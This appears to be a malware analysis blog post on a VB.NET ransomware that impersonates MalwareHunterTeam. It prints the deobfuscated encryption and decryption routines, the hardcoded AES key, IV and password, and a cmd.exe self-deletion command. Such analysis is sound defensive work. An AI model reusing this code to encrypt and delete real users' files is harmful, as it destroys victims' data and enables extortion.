File Informations

This ransomware is written in VB.NET and is protected with the .NET Reactor tool.

The malware makes it appear as if it was authored by our colleagues MalwareHunterteam (https://malwarehunterteam.com/ - https://twitter.com/malwrhunterteam), but it is not the case.

We will thus use NETReactorSlayer to deprotect it.

Here are the results before and after with Detect-It-Easy

petik@win:test$ diec MalwareHunterTeam.exe
/home/petik/test/MalwareHunterTeam.exe:
PE32
    Protector: .NET Reactor(4.8-4.9)[-]
    Library: .NET(v4.0.30319)[-]
    Compiler: VB.NET(-)[-]
    Linker: Microsoft Linker(6.0)[GUI32]

petik@win:test$ diec MalwareHunterTeam_Slayed.exe:
PE32
    Library: .NET(v4.0.30319)[-]
    Compiler: VB.NET(-)[-]
    Linker: Microsoft Linker(6.0)[GUI32]

We now have a better understanding of the code :

deobfuscation

Operation of the malware

The malware will scan the following folders: Personal Desktop Downloads

Private Sub Form1_Load(sender As Object, e As EventArgs)
	Try
		Me.method_0(Environment.GetFolderPath(Environment.SpecialFolder.Personal))
	Catch ex As Exception
	End Try
	Try
		Me.method_0(Environment.GetFolderPath(Environment.SpecialFolder.Desktop))
	Catch ex2 As Exception
	End Try
	Try
		Me.method_0(Environment.GetEnvironmentVariable("UserProfile") + "\Downloads")
	Catch ex3 As Exception
	End Try
	Class2.Class3_0.Middleman.Show()
End Sub

It will look for files in the directory except those with the following extensions in order not to disrupt the system : “.exe”, “.dll”, “.scr”, “.com”, “.pif”, “.ini”, “.log”, “.sys”, “.drv”, “.xml”, “.dat”, “.reg”

Private Sub method_0(string_0 As String)
	For Each string_ As String In Directory.GetFiles(string_0)
		If Not Me.method_1(string_) Then
			Me.method_2(string_)
		End If
	Next
	For Each string_2 As String In Directory.GetDirectories(string_0)
		Me.method_0(string_2)
	Next
End Sub

Private Function method_1(string_0 As String) As Boolean
	Dim source As IEnumerable(Of String) = New String() { Form1.newExtension, ".exe", ".dll", ".scr", ".com", ".pif", ".ini", ".log", ".sys", ".drv", ".xml", ".dat", ".reg" }
	Dim extension As String = Path.GetExtension(string_0)
	Return source.Contains(extension)
End Function

Then we have :

Private Sub method_2(string_0 As String)
	Try
		If New FileInfo(string_0).Length <= 104857600L Then
			Dim path As String = string_0 + Form1.newExtension
			Using aes As Aes = Aes.Create()
				aes.Key = Form1.byte_0
				aes.IV = Form1.byte_1
				Using fileStream As FileStream = New FileStream(string_0, FileMode.Open)
					Using fileStream2 As FileStream = New FileStream(path, FileMode.Create)
						Using cryptoTransform As ICryptoTransform = aes.CreateEncryptor(aes.Key, aes.IV)
							Using cryptoStream As CryptoStream = New CryptoStream(fileStream2, cryptoTransform, CryptoStreamMode.Write)
								fileStream.CopyTo(cryptoStream)
							End Using
						End Using
					End Using
				End Using
			End Using
			File.Delete(string_0)
		End If
	Catch ex As Exception
	End Try
End Sub

' Token: 0x04000010 RID: 16
Public Shared newExtension As String = ".malwarehunterteam"

' Token: 0x04000011 RID: 17
Private Shared byte_0 As Byte() = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32}

' Token: 0x04000012 RID: 18
Private Shared byte_1 As Byte() = New Byte() {33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48}

This code performs the following operations:

  1. Checks if the size of the file specified by the path string_0 is less than or equal to 104857600 bytes (100 MB).
  2. If the file size is less than or equal to this limit, the code:
    • Concatenates an extension specified by Form1.newExtension to string_0 to form a new path path. (file.jpg => file.jpg.malwarehunterteam)
    • Initializes an AES object for symmetric encryption.
    • Configures the key and initialization vector (IV) for AES using values specified by Form1.byte_0 and Form1.byte_1.
    • Opens a read stream on the source file specified by string_0.
    • Opens a write stream on the destination file specified by path.
    • Creates an encryption transformer using the AES key and IV.
    • Creates a crypto stream for writing encrypted data to the destination file.
    • Copies data from the read stream to the crypto stream to encrypt it.
    • Deletes the source file after encryption.
  3. The Catch block catches any exceptions and ignores them.

In summary, this code encrypts a file using AES if its size is less than or equal to 100 MB, using specified key and IV, and then deletes the source file once encryption is complete.

It displays the visual at the end :

visual

This will create a file on the Desktop named readme_encrypted.txt with the following text: Dear user, your files are encrypted. Contact @malwarehuntrteam on Twitter/X.

readme_encrypted

A savoir que la bonne adresse de nos confrères est bien : https://twitter.com/malwrhunterteam

This window features a text area and a button: Decrypt Me!

One might assume there is some sort of password to decrypt the files.

Indeed, we find the password here :

Private Sub method_2(sender As Object, e As EventArgs)
	If Operators.CompareString(Me.TextBox1.Text, "paswword123", False) = 0 Then
		MyBase.Hide()
		Class2.Class3_0.Form2.Show()
		Return
	End If
	Me.TextBox1.Text = ""
End Sub

When the correct password is entered, it will then carry out the following actions :

Try
	Me.method_1(Environment.GetFolderPath(Environment.SpecialFolder.Personal))
Catch ex As Exception
End Try
Try
	Me.method_1(Environment.GetFolderPath(Environment.SpecialFolder.Desktop))
Catch ex2 As Exception
End Try
Try
	Me.method_1(Environment.GetEnvironmentVariable("UserProfile") + "\Downloads")
Catch ex3 As Exception
End Try

In the folders:

  • Personal
  • Desktop
  • Downloads
Private Sub method_1(string_1 As String)
	For Each string_2 As String In Directory.GetFiles(string_1)
		If Me.method_2(string_2) Then
			Me.method_3(string_2)
		End If
	Next
	For Each string_3 As String In Directory.GetDirectories(string_1)
		Me.method_1(string_3)
	Next
End Sub

Private Function method_2(string_1 As String) As Boolean
	Return string_1.EndsWith(Form2.string_0)
End Function

Private Sub method_3(string_1 As String)
	Try
		' The following expression was wrapped in a checked-expression
		Dim path As String = string_1.Substring(0, string_1.Length - Form2.string_0.Length)
		Using aes As Aes = Aes.Create()
			aes.Key = Form2.byte_0
			aes.IV = Form2.byte_1
			Using fileStream As FileStream = New FileStream(string_1, FileMode.Open)
				Using fileStream2 As FileStream = New FileStream(path, FileMode.Create)
					Using cryptoTransform As ICryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV)
						Using cryptoStream As CryptoStream = New CryptoStream(fileStream, cryptoTransform, CryptoStreamMode.Read)
							cryptoStream.CopyTo(fileStream2)
						End Using
					End Using
				End Using
			End Using
		End Using
		File.Delete(string_1)
	Catch ex As Exception
	End Try
End Sub

Private Shared byte_0 As Byte() = New Byte() { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32 }

Private Shared byte_1 As Byte() = New Byte() { 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48 }

Private Shared string_0 As String = ".malwarehunterteam"

  1. string_1.Substring(0, string_1.Length - Form2.string_0.Length): This line seems to extract the file path without the extension specified by Form2.string_0.

  2. Initialization of an AES object for decryption.

    • aes.Key = Form2.byte_0: Sets the AES decryption key to a value specified by Form2.byte_0.
    • aes.IV = Form2.byte_1: Sets the initialization vector (IV) of the AES to a value specified by Form2.byte_1.

  3. Opening a read stream on the source file specified by string_1.

  4. Opening a write stream to a new file specified by path.

  5. Creating a decryption transformer using the AES key and IV.

  6. Creating a crypto stream to read encrypted data from the source file and write it to the new file.

  7. Copying data from the crypto stream to the write stream to decrypt it.

  8. Deleting the source file after decryption using File.Delete(string_1).

In summary, this method appears to decrypt a file using AES and delete the original file after decryption, while handling any exceptions encountered during the process.

Finally, it will execute the following line of code:

Process.Start("cmd.exe", "/C choice /C Y /N /D Y /T 5 & Del " + Application.ExecutablePath)

This code executes two commands using the command prompt (cmd.exe):

  1. The first command is choice /C Y /N /D Y /T 5. This command displays a message to the user with options Y (yes) and N (no). The default letter is Y, and the command waits for input for 5 seconds before proceeding.

  2. The second command is Del followed by the path of the current application’s executable, obtained using Application.ExecutablePath. This command deletes the executable file of the current application.

In summary, this code opens the command prompt to present a message with a 5-second delay. Afterward, it proceeds to delete the executable file of the current application. This action seems to be an attempt to automatically remove the application after a specific time period.

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